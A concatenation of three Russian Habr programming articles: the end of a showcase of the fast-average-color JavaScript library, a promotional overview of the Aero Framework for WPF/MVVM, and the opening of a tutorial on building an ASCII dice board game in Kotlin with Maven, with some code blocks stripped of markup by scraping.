Градиент в стиле Minecraft — средний цвет высчитывается частями (горизональными полосками). [Пример](https://fast-average-color.github.io/examples/gradient_stripes.html)
[](https://fast-average-color.github.io/examples/gradient_stripes.html)
Рамка
-----
Как багет у картины, средний цвет высчитывается отдельно у каждой из сторон фотографии.
[Пример](https://fast-average-color.github.io/examples/border.html)
[](https://fast-average-color.github.io/examples/border.html)
Тень
----
Вычисленный средний цвет используется в задании цвета падающей тени. [Пример](https://fast-average-color.github.io/examples/box-shadow.html)
[](https://fast-average-color.github.io/examples/box-shadow.html)
В CSS у элемента можно задать несколько теней. Для каждой из сторон фотографии вычислим средний цвет и установим отдельную тень. [Пример](https://fast-average-color.github.io/examples/box-shadow-4-sides.html)
[](https://fast-average-color.github.io/examples/box-shadow-4-sides.html)
Видео
-----
Предыдущий пример применим в динамике для видео. [Пример](https://fast-average-color.github.io/examples/ambilight.html#4Sides)
[](https://fast-average-color.github.io/examples/ambilight.html#4Sides)
Разделим стороны экрана на большее количество частей (30), в которых вычислим средний цвет для отбрасываемой тени, совсем как у [Philips Ambilight](https://ru.wikipedia.org/wiki/Ambilight). [Пример](https://fast-average-color.github.io/examples/ambilight.html#ManyPoints)
[](https://fast-average-color.github.io/examples/ambilight.html#ManyPoints)
Текстовая фотография
--------------------
Фотографию заполняем текстом, под каждым символом вычисляем средний цвет и применяем его к символу. [Пример](https://fast-average-color.github.io/examples/text-photo.html)
[](https://fast-average-color.github.io/examples/text-photo.html)
Использование
-------------
Средний цвет в примерах вычисляется с помощью небольшого пакета «[fast-average-color](https://github.com/hcodes/fast-average-color)». При подсчёте цвета учитывается прозрачность. По умолчанию используется квадратичный алгоритм, т.к. при простом усреднении цвет становится [более тёмным](https://fast-average-color.github.io/compare/).
`npm i -D fast-average-color`
### Примеры
Для получения среднего цвета из загруженных картинок, видео и canvas’a используется метод [.getColor()](https://github.com/fast-average-color/fast-average-color#getcolorresource-options):
```
...
Lorem ipsum dolor sit amet, consectetur adipiscing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
window.addEventListener('load', function() {
var
fac = new FastAverageColor(),
container = document.querySelector('.image-container'),
color = fac.getColor(container.querySelector('img'));
container.style.backgroundColor = color.rgba;
container.style.color = color.isDark ? '#fff' : '#000';
console.log(color);
// {
// error: null,
// rgb: 'rgb(255, 0, 0)',
// rgba: 'rgba(255, 0, 0, 1)',
// hex: '#ff0000',
// hexa: '#ff0000ff',
// value: [255, 0, 0, 255],
// isDark: true,
// isLight: false
// }
}, false);
```
А для картинок, которые находятся в процессе загрузки — [.getColorAsync()](https://github.com/fast-average-color/fast-average-color#getcolorasyncresource-callback-options):
```
...
Lorem ipsum dolor sit amet, consectetur adipiscing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
var
fac = new FastAverageColor(),
container = document.querySelector('.image-container');
fac.getColorAsync(container.querySelector('img'), function(color) {
container.style.backgroundColor = color.rgba;
container.style.color = color.isDark ? '#fff' : '#000';
console.log(color);
// {
// error: null,
// rgb: 'rgb(255, 0, 0)',
// rgba: 'rgba(255, 0, 0, 1)',
// hex: '#ff0000',
// hexa: '#ff0000ff',
// value: [255, 0, 0, 255],
// isDark: true,
// isLight: false
// }
});
```
Для картинок и видео с разных доменов стоит не забывать про [CORS](https://developer.mozilla.org/ru/docs/Web/HTTP/CORS).
Ссылки:
* [Репозиторий на Github](https://github.com/fast-average-color/fast-average-color)
* [Пакет в npm](https://www.npmjs.com/package/fast-average-color)
* [Примеры](https://fast-average-color.github.io/examples/background.html) | https://habr.com/ru/post/419309/ | null | ru | null |
# Aero Framework — новое дыхание WPF. Поднимаемся выше MVVM
*Aero Framework* — передовая библиотека для промышленной и индивидуальной разработки кросс-платформенных *XAML*-ориентированных приложений с применением концепций *MVVM*-проектирования. Её основные достоинства — интуитивная ясность, предельная лаконичность, минималистичность и высокое быстродействие.
С версии 2.0 она стала платной для коммерческого использования, но остаётся свободной для учебных целей и проектов с открытым исходным кодом. Стоимость лицензии составляет *30$* на одного разработчика.
Вложив небольшую сумму денег и день-два в углубленное изучение её особенностей, вы сохраните недели и месяцы труда на реальных проектах. Более того, даже если вы опытный разработчик, значительно повысите свой технический уровень, архитектурные навыки и системность мышления. В данный момент всё зависит лишь от вашей усидчивости и трудолюбия. Гарантирую, что оно того стоит.
Первым делом нужно загрузить библиотеку с официального сайта или альтернативных источников:
[сайт](http://makeloft.by/ru/tools),
[dropbox](https://www.dropbox.com/s/z4h508y2yvp7931/Aero%20Framework%202.0.zip?dl=0),
[onedrive](https://onedrive.live.com/embed?cid=C8D6E2F8053DDCFB&resid=C8D6E2F8053DDCFB%2118726&authkey=ACMw-EhVCA4Ykk4),
[google.drive](https://drive.google.com/file/d/0B0koUb5Y0M1yY2w0QmRMN0RfT3c/view?usp=sharing), — после чего распаковать архив и открыть тестовые проекты *HelloAero*, *BankOnline*, *Sparrow*, — они помогут быстрее войти в курс дела и послужат живыми примерами.
Следует отметить, что библиотека достаточно легко внедряется в уже существующие решения, поэтому буквально сразу может быть использована в деле. Итак, рассмотрим что же в ней примечательного на первый взгляд.
**1) Эвокаторы Свойств и Команд (Property and Command Evocators)**
Чтобы подписаться на событие уведомления об изменении значения свойства вместо классической конструкции
```
PropertyChanged += (o, args) =>
{
if (args.PropertyName == "Text") { ... };
}
```
достаточно использовать более лаконичный вариант на основе лямбда выражений
```
this[() => Text].PropertyChanged += (o, args) => { ... };
```
Парсинг выражения выполняется лишь единожды при инициализации, поэтому на производительность это не оказывает существенного влияния, но делает код намного более линейным и читаемым.
Обработчики для маршрутизируемых и контекстных команд задаются схожим образом.
```
this[MediaCommands.Play].CanExecute += (o, args) => args.CanExecute = /* conditions */;
this[MediaCommands.Play].Executed += (o, args) => { ... };
this[Context.Make].CanExecute += (o, args) => args.CanExecute = /* conditions */;
this[Context.Make].Executed += (o, args) => { ... };
```
Контекстные команды — кросс-платформенная и безопасная от утечек памяти реализация команд, отдалённо напоминающая логику работы маршрутизируемых команд в *WPF*.
**2) Равноправные Инжекции путём Экспанирования (Equitable Injections via Exposable Way)**
Классические инжекции зависимостей в конструктор вью-моделей не самая лучшая практика. Да, существует множество контейнеров, реализующих такую функциональность и распространён такой подход повсеместно, но он обладает целым рядом недостатков и накладывает большие ограничения на проектируемую систему. Об этом можно долго говорить, поэтому сейчас обозначим лишь суть проблемы: инжекции в конструктор создают иерархические зависимости, то есть при возникновении необходимости добраться из низкоуровневой вью-модели к высокоуровневой без сомнительных решений нельзя. Однако существует способ прямых инжекции вью-моделей без создания иерархических зависимостей, сохраняющий их равноправность! Это очень важное свойство для сериализации и десереализации замкнутых графов объектов, что оставляет возможность для полного сохранения и восстановления логического и визуалного состояний всего приложения при его перезагрузке.
Реализуется подобное очень просто и естественно. Посмотрите пример кода в проекте *HelloAero* в разделе *Exposable*.
**Пример кода**
```
[DataContract]
public class GuyViewModel : ContextObject, IExposable
{
[DataMember]
public int Kisses
{
get { return Get(() => Kisses); }
set { Set(() => Kisses, value); }
}
public void Expose()
{
var girlViewModel = Store.Get();
this[() => Kisses].PropertyChanged += (sender, args) =>
{
Context.Get("KissGirl").RaiseCanExecuteChanged();
Context.Get("KissGuy").RaiseCanExecuteChanged();
};
this[Context.Get("KissGirl")].CanExecute += (sender, args) =>
args.CanExecute = Kisses > girlViewModel.Kisses - 2;
this[Context.Get("KissGirl")].Executed += (sender, args) =>
girlViewModel.Kisses++;
}
}
[DataContract]
public class GirlViewModel : ContextObject, IExposable
{
[DataMember]
public int Kisses
{
get { return Get(() => Kisses); }
set { Set(() => Kisses, value); }
}
public void Expose()
{
var guyViewModel = Store.Get();
this[() => Kisses].PropertyChanged += (sender, args) =>
{
Context.Get("KissGirl").RaiseCanExecuteChanged();
Context.Get("KissGuy").RaiseCanExecuteChanged();
};
this[Context.Get("KissGuy")].CanExecute += (sender, args) =>
args.CanExecute = Kisses > guyViewModel.Kisses - 3;
this[Context.Get("KissGuy")].Executed += (sender, args) =>
guyViewModel.Kisses++;
}
}
```
**3) Умное Состояние и Умные Свойства (Smart State & Smart Properties)**
В языке *JavaScript* реализована очень мощная концепция слаботипизированных свойств, а также встроенные возможности простой сериализации и десериализации объектов, что делает его незаменимым при разработке сложных динамических интерфейсов. Отчасти эти концепции нашли отражение в механизмах *Smart State* и *Smart Properties*.
Взгляните, насколько легко и естественно сохраняются размеры и положения окон в примерах проектов к библиотеке, при этом вью-модели кросс-платформенны и полностью чисты от интерфейсной логики.
Обратите внимание на следующие конструкции
```
WindowStyle="{Smart 'WindowStyle, SingleBorderWindow'}"
ResizeMode="{Smart 'ResizeMode, CanResizeWithGrip'}"
Height="{Smart 'Height, 600'}"
Width="{Smart 'Width, 800'}"
```
**4) Встроенные и Композитные Конвертеры (Inline & Composite Converters)**
Порой встречается необходимость доступа из конвертера к представлению или его контексту данных. Для этих целей можно применить паттерн *IInlineConverter*
```
public class ConverterEventArgs : EventArgs
{
public object ConvertedValue { get; set; }
public object Value { get; private set; }
public Type TargetType { get; private set; }
public object Parameter { get; private set; }
public CultureInfo Culture { get; private set; }
public ConverterEventArgs(object value, Type targetType, object parameter, CultureInfo culture)
{
TargetType = targetType;
Parameter = parameter;
Culture = culture;
Value = value;
}
}
public interface IInlineConverter : IValueConverter
{
event EventHandler Converting;
event EventHandler ConvertingBack;
}
```
Суть метода в том, что вместо создания нового класса для конвертера мы просто перемещаем методы *Convert* и *ConvertBack* в *Code Behind* представления в качестве обработчиков события *Converting* и *ConvertingBack*. Это даёт полный доступ к представлению, где применяется данный экземпляр конвертера. Пример использования легко отыскать в исходных кодах.
Паттерн *ICompositeConverter* позволяет соединять конвертеры в цепочки, что помогает иногда избежать создания новых классов-конвертеров. Как его применять, следует посмотреть в исходных кодах.
```
public interface ICompositeConverter : IValueConverter
{
IValueConverter PostConverter { get; set; }
object PostConverterParameter { get; set; }
}
```
**5) Стеллажи для *Grid* (Rack for Grid)**
Здесь достаточно взглянуть на код, чтобы всё стало понятно.
```
equals
```
Пожалуй, для данной статьи достаточно, она носит ознакомительный обзорный характер. Мы рассмотрели далеко не все возможности библиотеки, за кадром остались локализация, валидация данных, расширения привязки, другие типы конвертеров, синтаксический сахар и много других мелочей. При наличии интереса к материалам будут и другие статьи, поэтому не оставайтесь равнодушны, вливайтесь в обсуждения, выражайте свои отзывы в комментариях или по е-мэил, делитесь с другими.
P.S. [По ссылке](http://habrahabr.ru/post/251347) немного устаревшие, но всё ещё актуальные материалы | https://habr.com/ru/post/268151/ | null | ru | null |
# Как создать игру, если ты ни разу не художник
В жизни каждого программиста бывали моменты, когда он мечтал сделать интересную игру. Многие программисты эти мечты реализовывают, и даже успешно, но речь сейчас не о них. Речь о тех, кто любит играть в игры, кто (даже не имея знаний и опыта) и сам пытался их когда-то создавать, вдохновляясь примерами героев-одиночек, добившихся всемирной известности (и огромных прибылей), но в глубине души понимал, что тягаться с гуру игростроя ему не по силам.
И не надо…
Небольшое вступление
--------------------
Сразу оговорюсь: нашей целью не является зарабатывание денег — на Хабре полно статей на эту тему. Нет, мы будем делать игру мечты.
**Лирическое отступление про игру мечты**Сколько раз я слышал это слово от разработчиков-одиночек и маленьких студий. Куда ни глянь, все начинающие игроделы спешат явить миру реализацию своих мечт и «идеального видения», а потом пишут длинные статьи о своих героических усилиях, рабочем процессе, неизбежных финансовых затруднениях, проблемах с издателями и вообще «игроки-неблагодарные-псы-им-подавай-графончик-и-монетки-и-всё-бесплатно-и-платить-не-хотят-а-игру-пиратят-и-мы-прибылей-лишились-из-за-них-вот».
Люди, не обманывайте себя. Вы делаете не игру мечты, а игру, которая будет хорошо продаваться — это разные вещи. Игрокам (а особенно искушенным) нет дела до вашей мечты и платить за нее они не будут. Хотите прибылей — изучайте тренды, смотрите, что сейчас популярно, делайте что-то уникальное, делайте лучше, необычнее, чем у других, читайте статьи (их много), общайтесь с издателями — в общем, реализовывайте мечты конечных пользователей, не свою.
Если вы еще не сбежали и все же хотите реализовать игру мечты, заранее откажитесь от прибылей. Вообще не продавайте мечту — делитесь ей даром. Дарите людям свою мечту, приобщайте их к ней, и если ваша мечта чего-то стоит, вы получите пусть не деньги, но любовь и признание. Иногда это намного ценнее.
Многие считают, что игры — пустая трата времени и сил, и что серьезные люди не должны вообще на эту тему разговаривать. Но здесь собрались люди несерьезные, поэтому согласимся лишь отчасти — игры действительно отбирают много времени, если в них играть. Однако разработка игр, хоть и занимает во много раз больше времени, способна принести немало пользы. Например, позволяет познакомиться с принципами, подходами и алгоритмами, не встречающимися в разработке неигровых приложений. Или углубить навыки владения инструментами (например, языком программирования), занимаясь чем-то необычным и увлекательным. От себя могу добавить (и многие согласятся), что разработка игр (даже неудачная) — это всегда особый, ни с чем не сравнимый опыт, о котором потом вспоминаешь с трепетом и любовью, чего каждому разработчику хотя бы раз в жизни желаю испытать.
Мы не будем использовать новомодные игровые движки, фреймворки, библиотеки — мы заглянем в самую суть игрового процесса и прочувствуем его изнутри. Откажемся от гибких методологий разработки (задача упрощается необходимостью организовать работу всего одного человека). Мы не будем тратить время и силы на поиски дизайнеров, художников, композиторов и спецов по звуку — мы все сделаем сами, как умеем (но при этом сделаем все по-умному — если вдруг художник у нас появится, нам не составит особых усилий прикрутить модную графику на готовый каркас). В конце концов, мы даже не будем особо изучать инструментарий и выбирать подходящий — сделаем на том, который хорошо знаем и умеем пользовать. Например, на Java, чтоб потом, если нужно, перенести на Андроид (или на кофеварку).
*«А!!! Ужас! Кошмар! Как на такую чушь вообще можно время тратить! Проваливай отсюда, я пойду что-то более интересное почитаю!»*
Зачем это делать? В смысле, велосипед изобретать? Почему бы не использовать готовый игровой движок? Ответ прост: мы ничего про него не знаем, а игру хотим уже сейчас. Представьте образ мысли среднестатистического программиста: «Хочу делать игру! Там будет мясо, и взрывы, и прокачка, ~~и можно грабить корованы~~, и сюжет бомбезный, и такого вообще никогда и нигде больше не было! Начну писать прямо сейчас!.. А на чем? Посмотрим, что у нас сейчас популярно… Ага, X, Y и Z. Возьмем Z, на нем сейчас все пишут...». И начинает изучать движок. А идею бросает, потому что на нее уже времени не хватает. Fin. Или ладно, не бросает, но толком не изучив движок, принимается за игру. Хорошо, если потом ему хватит совести никому не показывать свою первую «поделку». Обычно нет (зайдите в любой магазин приложений, посмотрите сами) — ну как же, хочется прибылей, нет сил терпеть. Когда-то создание игр было уделом увлеченных творческих людей. Увы, это время безвозвратно прошло — сейчас в игре главное не душа, а бизнес-модель (по крайней мере, разговоров о ней на порядок больше). У нас же цель простая: мы будем делать игры с душой. Потому абстрагируемся от инструмента (подойдет любой) и сосредоточимся на задаче.
Итак, продолжим.
Не буду вдаваться в подробности собственного горького опыта, но скажу, что одна из основных проблем для программиста при разработке игр — это графика. Рисовать программисты обычно не умеют (хотя бывают исключения), а художники обычно не умеют программировать (хотя бывают исключения). А без графики, согласитесь, редкая игра обходится. Что же делать?
Варианты есть:
**1. Нарисовать все самому в простом графическом редакторе**[](https://habrastorage.org/webt/5b/no/-o/5bno-orbfc3-ov3esi3ld_ezdqs.png)
*Скриншоты игры «Kill Him All», 2003 год*
**2. Нарисовать все самому в векторе**[](https://habrastorage.org/webt/46/dj/u8/46dju8rama3wvfx2fzopin-yfiw.png)
*Скриншоты игры «Raven», 2001 год*
[](https://habrastorage.org/webt/jn/mm/vz/jnmmvzujgfsziasffz8m6sitmi0.png)
*Скриншоты игры «Inferno», 2002 год*
**3. Попросить брата, который тоже не умеет рисовать (но делает это чуть лучше)**[](https://habrastorage.org/webt/tf/tx/jc/tftxjcy5luf045ehrm5_kdb5fzy.png)
*Скриншоты игры «Грёбаный», 2004 год*
**4. Скачать какую-то программу для 3D-моделирования и натаскать оттуда ассетов**[](https://habrastorage.org/webt/k9/nj/o6/k9njo6wryhhmaiagpool44qt5ua.jpeg)
*Скриншоты игры «Грёбаный 2. Демо», 2006 год*
**5. В отчаянии рвать волосы на голове**[](https://habrastorage.org/webt/3p/fw/01/3pfw013bspmxrjyyewsnsgqobma.png)
[](https://habrastorage.org/webt/oa/gx/go/oagxgo1wmfykrll-ji-qwyrsv7e.png)
*Скриншоты игры «Грёбаный», 2004 год*
**6. Нарисовать все самому в псевдографике (ASCII)**[](https://habrastorage.org/webt/db/ht/s5/dbhts5ryeccznntuaiiwjmx32fo.png)
*Скриншоты игры «Fifa», 2000 год*
[](https://habrastorage.org/webt/q0/u-/vu/q0u-vuxozevapmdwswaygicakgg.png)
*Скриншоты игры «Sumo», 1998 год*
Остановимся подробнее на последнем (отчасти потому что он выглядит не так уныло как остальные). Многие неопытные геймеры считают, что игры без крутой современной графики не способны покорить сердца игроков — их даже играми-то назвать язык не поворачивается. Подобным аргументам молчаливо возражают разработчики таких шедевров, как *ADOM*, *NetHack* и *Dwarf Fortress*. Внешний вид не всегда является решающим фактором, использование же ASCII дает некторые интересные примущества:
* в процессе разработки программист сосредотачивается на геймплее, игровой механике, сюжетной составляющей и прочем, не отвлекаясь на второстепенные вещи;
* разработка графической составляющей не отнимает слишком много времени — рабочий прототип (то есть, версия, поиграв в которую можно понять, а стоит ли вообще продолжать) будет готов намного раньше;
* не нужно осваивать фреймворки и графические движки;
* ваша графика не устареет за те пять лет, которые вы будете разрабатывать игру;
* хардкорщики смогут оценить ваш продукт даже на платформах, не имеющих графической среды;
* если все сделать правильно, то крутую графику можно прикрутить потом, попозже.
Приведенное выше длинное вступление имело целью помочь начинающим игроделам побороть страхи и предрассудки, перестать волноваться и все ж таки попробовать что-нибудь эдакое сотворить. Готовы? Тогда приступим.
Шаг первый. Идея
----------------
Как? У вас все еще нет идеи?
Выключайте компьютер, пойдите покушайте, погуляйте, спортом позанимайтесь. Или поспите, на худой конец. Придумать игру это не окна помыть — озарение в процессе не приходит. Обычно идея игры рождается вдруг, неожиданно, когда вы совершенно об этом не думаете. Если такое вдруг произошло, быстрее хватайте карандаш и записывайте, пока идея не улетела. Любой творческий процесс именно так и реализуется.
А еще можно копировать чужие игры. Ну как, копировать. Конечно, не драть безбожно, рассказывая на каждом углу, какой вы сообразительный, но использовать чужие наработки в своем продукте. Как много после этого в нем останется конкретно от вашей мечты — вопрос второстепенный, ибо частенько у геймеров бывает так: вот все нравится в игре, кроме каких-то двух-трех раздражающих вещей, а вот если бы тут сделать по-другому… Кто знает, возможно, доведение до ума чьей-то хорошей идеи — это и есть ваша мечта.
Но мы пойдем простым путем — предположим, что идея у нас уже есть, и мы над ней долго не думали. В качестве первого нашего грандиозного проекта будем делать клон хорошей игры от Obsidian — [Pathfinder Adventures](https://store.steampowered.com/app/480640/Pathfinder_Adventures/).
*«Это что еще за бред! Настолки какие-то?»*
Как говорится, *pourquoi pas?* Предрассудки мы, кажись, уже оставили, а потому смело начинаем отшлифовывать идею. Естественно, клонировать игру один к одну мы не будем, но основные механики позаимствуем. К тому же реализация пошаговой настольной кооперативной игры имеет свои преимущества:
* она пошаговая — это позволяет не заботиться о таймерах, синхронизации, оптимизации, FPS и прочих муторных вещах;
* она кооперативная, то есть игрок или игроки соревнуются не друг против друга, а против некоего «окружения», играющего по детерминированным правилам — это избавляет от необходимости программировать ИИ (AI) — одного из самых сложных этапов разработки игр;
* она осмысленная — настолщики вообще люди прихотливые, во что попало играть не будут: им подавай продуманные механики и интересный геймплей — на одной красивой картинке не выедешь (чем-то знакомым отдает, не так ли?);
* она с сюжетом — многие киберспортсмены не согласятся, но лично для меня игра должна рассказывать интересную историю — как книга, только с использованием своих особых художественных средств.
* она занятная, что на любителя — описываемые подходы можно будет применить к любой последующей мечте, сколько бы их у вас ни было.
**Для не знакомых с правилами, краткое введение:****Pathfinder Adventures** — это цифровая версия настольной карточной игры, созданной на основе настольной ролевой игры (а вернее, целой ролевой системы) Pathfinder. Игроки (в количестве от 1 до 6) выбирают себе персонажа и вместе с ним отправляются в приключение, разбитое на некоторое количество сценариев. Каждый персонаж имеет в своем распоряжении карты разных типов (как то: оружие, броня, заклинания, союзники, предметы итп), при помощи которых в каждом сценарии должен найти и жестоко покарать Негодяя — специальную карту с особыми свойствами.
В каждом сценарии предусмотрен ряд местностей или локаций (их количество зависит от количества игроков), которые игрокам нужно посетить и исследовать. Каждая локация содержит колоду карт, лежащую рубашкой вверх, которую персонажи в свой ход исследуют — то есть открывают верхнюю карту и пытаются по соответствующим правилам ее преодолеть. В этих колодах помимо безобидных карт, пополняющих колоду игрока, имеются также злые враги и препятствия — их необходимо победить, чтобы продвинуться дальше. Карта Негодяя тоже лежит в одной из колод, но игроки не знают в какой именно — ее нужно найти.
Для победы над картами (и для приобретения новых) персонажи должны пройти проверку одной из своих характеристик (стандартные для РПГ сила, ловкость, мудрость итп), кинув кубик, размер которого определяется значением соответствующей характеристики (от d4 до d12), добавив модификаторы (определяемые правилами и уровнем развития персонажа) и играя для усиления эффекта походящие карты из руки. При победе встреченная карта либо убирается из игры (если это враг), или пополняет руку игрока (если это предмет) и ход переходит к другому игроку. При проигрыше персонажу часто наносится урон, заставляющий его сбрасывать карты из руки. Интересная механика состоит в том, что здоровье персонажа определяется количеством карт в его колоде — как только игроку нужно вытащить из колоды карту, а их нет — его персонаж погибает.
Целью же является, пробравшись через карты локаций, найти и победить Негодяя, предварительно перекрыв ему пути к отступлению (подробнее об этом и много другом можно узнать, почитав правила). Сделать же это нужно на время, в чем состоит основная сложность игры. Количество ходов строго ограничено и простым перебором всех имеющихся карт цели не достичь. Потому приходится применять различные ухищрения и умные техники.
По мере выполнения сценариев персонажи будут расти и развиваться, улучшая свои характеристики и приобретая новые полезные навыки. Управление колодой также является очень важным элементом игры, так как исход сценария (особенно на поздних этапах) как правило зависит от правильно подобранных карт (и от кучи везения, но чего вы хотите от игры с кубиками?).
В целом, игра интересная, достойная, заслуживающая внимания и, что важно для нас, достаточно сложная (обратите внимание, я говорю «сложная» не в значении «трудная»), чтобы ее клон было интересно реализовывать.
В нашем случае сделаем одно глобальное концептуальное изменение — откажемся от карт. Вернее, не откажемся вовсе, но заменим карты на кубики, по-прежнему разных размеров и разных цветов (технически, не совсем корректно навывать их «кубики», так как кроме правильного шестигранника присутствуют и другие формы, но называть их «кости» мне непривычно и неприятно, а пользоваться американизмом «дайсы» — и вовсе признак дурного тона, потому оставим как есть). Теперь вместо колод у игроков будут мешочки. И у локаций тоже будут лежать мешочки, из которых игроки в процессе исследования будут вытаскивать произвольные кубики. Цвет кубика будет определять его тип и, соответственно, правила прохождения проверки. Личные характеристики персонажа (сила, ловкость итп), как следствие, упразднятся, но зато появятся новые интересные механики (о чем позже).
Будет ли в это интересно играть? Понятия не имею, и никто этого понять не сможет, пока не будет готов рабочий прототип. Но ведь мы получаем удовольствие не от игры, а от разработки, правда? Потому никаких сомнений в успехе быть не должно.
Шаг второй. Дизайн
------------------
Иметь идею — это только треть дела. Теперь важно эту идею развить. То есть не прогуливаться в парке или париться в баньке, а сесть за стол, взять бумагу с ручкой (или открыть любимый текстовый редактор) и вдумчиво написать дизайн-документ, кропотливо прорабатывая каждый аспект игровой механики. Времени на это уйдет прорва, поэтому не рассчитывайте завершить написание в один присест. И даже не надейтесь полностью все продумать с одного раза — по мере реализации вы увидите необходимость сделать кучу правок и изменений (а иногда и глобально что-то переработать), однако какая-то основа должна обязательно присутствовать до начала процесса разработки.
**Поначалу ваш дизайн-документ будет выглядеть как-то так**[](https://habrastorage.org/webt/oi/qw/fp/oiqwfpjf6vasnpmy6ucqglbnwy8.jpeg)
[](https://habrastorage.org/webt/ff/gu/7q/ffgu7qx80qefetycgrmdraoetv8.jpeg)
И только справившись с первой волной грандиозных идей вы возьметесь за голову, определитесь со структурой документа и начнете методично наполнять его содержимым (ежесекундно сверяясь с уже написанным, дабы избежать ненужных повторений и особенно противоречий). Постепенно, шаг за шагом получится что-то осмысленное и лаконичное, [вроде этого](https://docs.google.com/document/d/1FIzvCbtQ6XJovTnZOWwgwZehZxpG788Vpuk942lm6R4).
При описании дизайна выбирайте тот язык, на котором вам легче излагать свои мысли, особенно если вы работаете в одиночку. Если же когда-либо понадобится привлекать к проекту сторонних разработчиков, убедитесь, что они понимают весь тот творческий бред, который творится у вас в голове.
Для продолжения настоятельно рекомендую прочитать приведенный документ хотя-бы по-диагонали, потому что в дальнейшем я буду ссылаться на представленные там термины и концепции, подробно не задерживаясь на их толковании.
*«Автор, убей себя об стену. Слишком много букв.»*
Шаг третий. Моделирование
-------------------------
То есть, все тот же design, только более подробный.
Знаю, многим уже не терпится открыть IDE и начать кодить, но потерпите еще немного. Когда идеи переполняют нашу голову, нам кажется, что стоит лишь прикоснуться к клавиатуре, и руки сами понесутся в заоблачные дали — не успеет кофе вскипеть на плите, как рабочая версия приложения уже будет готова… отправиться в мусор. Чтобы много раз не переписывать одно и то же (а особенно чтобы не убеждаться через три часа разработки, что макет нерабочий и нужно начинать заново), предлагаю для начала хорошенько продумать (и задокументировать) основную структуру приложения.
Поскольку мы, как разработчики, хорошо знакомы с объектно-ориентированным программированием (ООП), будем использовать его принципы в нашем проекте. А для ООП нет ничего более ожидаемого, чем начать разработку с кучи нудных UML-диаграм. (Как, вы не знаете, что такое UML? Я тоже уже почти забыл, но с радостью вспомню — просто чтобы показать, какой я прилежный программист, хе-хе.)
Начнем, пожалуй, с диаграммы «вариантов использования» (use-case). Изобразим на ней способы взаимодействия нашего пользователя (игрока) с будущей системой:
**Варианты использования**[](https://habrastorage.org/webt/rt/ph/st/rtphstumyokd9_gnpgzoewpaux8.png)
*«Э… это что вообще?»*
Шучу-шучу… и, пожалуй, на этом прекращаю шутить — дело-то серьезное (мечта, как-никак). На диаграмме вариантов использования необходимо отобразить возможности, которые система предоставляет пользователю. В подробностях. Но так уж исторически сложилось, что именно данный тип диаграмм получается у меня хуже всего — терпения не хватает, судя по всему. И не надо на меня так смотреть — мы не в ВУЗе диплом защищаем, а получаем удовольствие от рабочего процесса. И для данного процесса не так важны варианты использования. Гораздо важнее грамотно разбить приложение на независимые модули, то есть реализовать игру таким образом, чтобы особенности визуального интерфейса не влияли на игровые механики, и чтобы графическую составляющую при желании можно было легко изменить.
Этот момент можно детализировать на следующей диаграмме компонентов (components):
**Компоненты системы**[](https://habrastorage.org/webt/lm/br/br/lmbrbrdoyppboylxuoopjr--d5u.png)
Здесь мы уже выделили конкретные подсистемы, входящие в состав нашего приложения и, как будет показано дальше, все они будут разрабатываться независимо друг от друга.
Также, на этом же этапе прикинем, как будет выглядеть основной игровой цикл (вернее, его наиболее интересная часть — та самая, которая реализует прохождение персонажами сценария). Для этого нам подойдет диаграмма деятельности (activity):
**Если стоите, присядьте**[](https://habrastorage.org/webt/o-/f6/ev/o-f6evthl0hpqu0rhwlejbxyhty.png)
Ну и напоследок неплохо бы представить в общем виде последовательность (sequence) взаимодействия конечного пользователя с игровым движком, посредством системы ввода-вывода.
**Колбаски**[](https://habrastorage.org/webt/hs/jo/_d/hsjo_dinyd5genlr77jrgz0ouys.png)
Ночь длинна, до рассвета еще далеко. Посидев как следует за столом, вы спокойно нарисуете остальные два десятка диаграмм — поверьте, в дальнейшем их наличие поможет не сбиться с выбранного пути, повысить свою самооценку, обновить интерьер комнаты, завесив выцветшие обои цветастыми плакатами, а также в простых выражениях донести ваше видение до коллег-разработчиков, которые в скором времени толпами прибегут к дверям вашей новой студии (мы нецелены на успех, помните?).
Любимые всеми диаграммы классов (class) приводить пока что не станем — классов ожидается ~~прорва~~ уйма и картинка в три экрана ясности на первых порах не добавит. Лучше разбить ее на части и выкладывать постепенно, по мере перехода к разработке соответствующей подсистемы.
Шаг четвертый. Выбор инструментов
---------------------------------
Как уже было условлено, разрабатывать будем кроссплатформенное приложение, работающее как на десктопах под управлением различных операционных систем, так и на мобильных устройствах. В качестве языка программирования выберем Java, а еще лучше Kotlin, так как последний более нов и свеж, и еще не успел искупаться в волнах негодования, с головой захлестнувших его предшественника (заодно подучим, если кто еще не владеет). JVM, как вы знаете, доступен везде и всюду (на трех миллиардах устройств, хе-хе), будем поддерживать и Windows, и UNIX, и даже на удаленном сервере через SSH-подключение можно будет играть (кому это может понадобиться — неизвестно, но возможность такую предоставим). На Андроид тоже перенесем, когда разбогатеем и наймем художника, но об этом позже.
Библиотеки (без них никуда не деться) будем выбирать соответственно нашему требованию кроссплатформенности. В качестве системы сборки будем использовать Maven. Или Gradle. Или все ж таки Maven, начнем с него. Сразу советую настроить систему контроля версий (любую, какая больше нравится), чтобы легче было через много лет с ностальгическими чувствами вспоминать, как было здорово когда-то. IDE тоже выбирайте привычную, любимую и удобную.
Собственно, больше нам ничего и не нужно. Можно приступать к разработке.
Шаг пятый. Создание и настройка проекта
---------------------------------------
Если вы используете IDE, то создать проект — дело тривиальное. Нужно только выбрать для нашего будущего шедевра какое-то звучное имя (например, **Dice**), не забыть включить поддержку Maven в настройках, и в файле `pom.xml` прописать необходимые идентификаторы:
```
4.0.0
my.company
dice
1.0
jar
```
Также добавим поддержку Kotlin, по умолчанию отсутствующую:
```
org.jetbrains.kotlin
kotlin-stdlib
${kotlin.version}
```
и некоторые настройки, на которых не станем подробно останавливаться:
```
UTF-8
1.8
1.8
1.3.20
true
```
**Немного информации касательно гибридных проектов**Если в своем проекте вы планируете одновременно использовать и Java, и Kotlin то кроме папки `src/main/kotlin` у вас также будет присутствовать папка `src/main/java`. Разработчики языка Kotlin утверждают, что исходные файлы из первой папки (`*.kt`) должны компилироваться раньше, чем исходные файлы из второй (`*.java`) и потому настоятельно рекомендуют изменить настройки стандартных целей Maven:
```
org.jetbrains.kotlin
kotlin-maven-plugin
${kotlin.version}
compile
process-sources
compile
${project.basedir}/src/main/kotlin
${project.basedir}/src/main/java
test-compile
test-compile
${project.basedir}/src/test/kotlin
${project.basedir}/src/test/java
org.apache.maven.plugins
maven-compiler-plugin
3.5.1
default-compile
none
default-testCompile
none
java-compile
compile
compile
java-test-compile
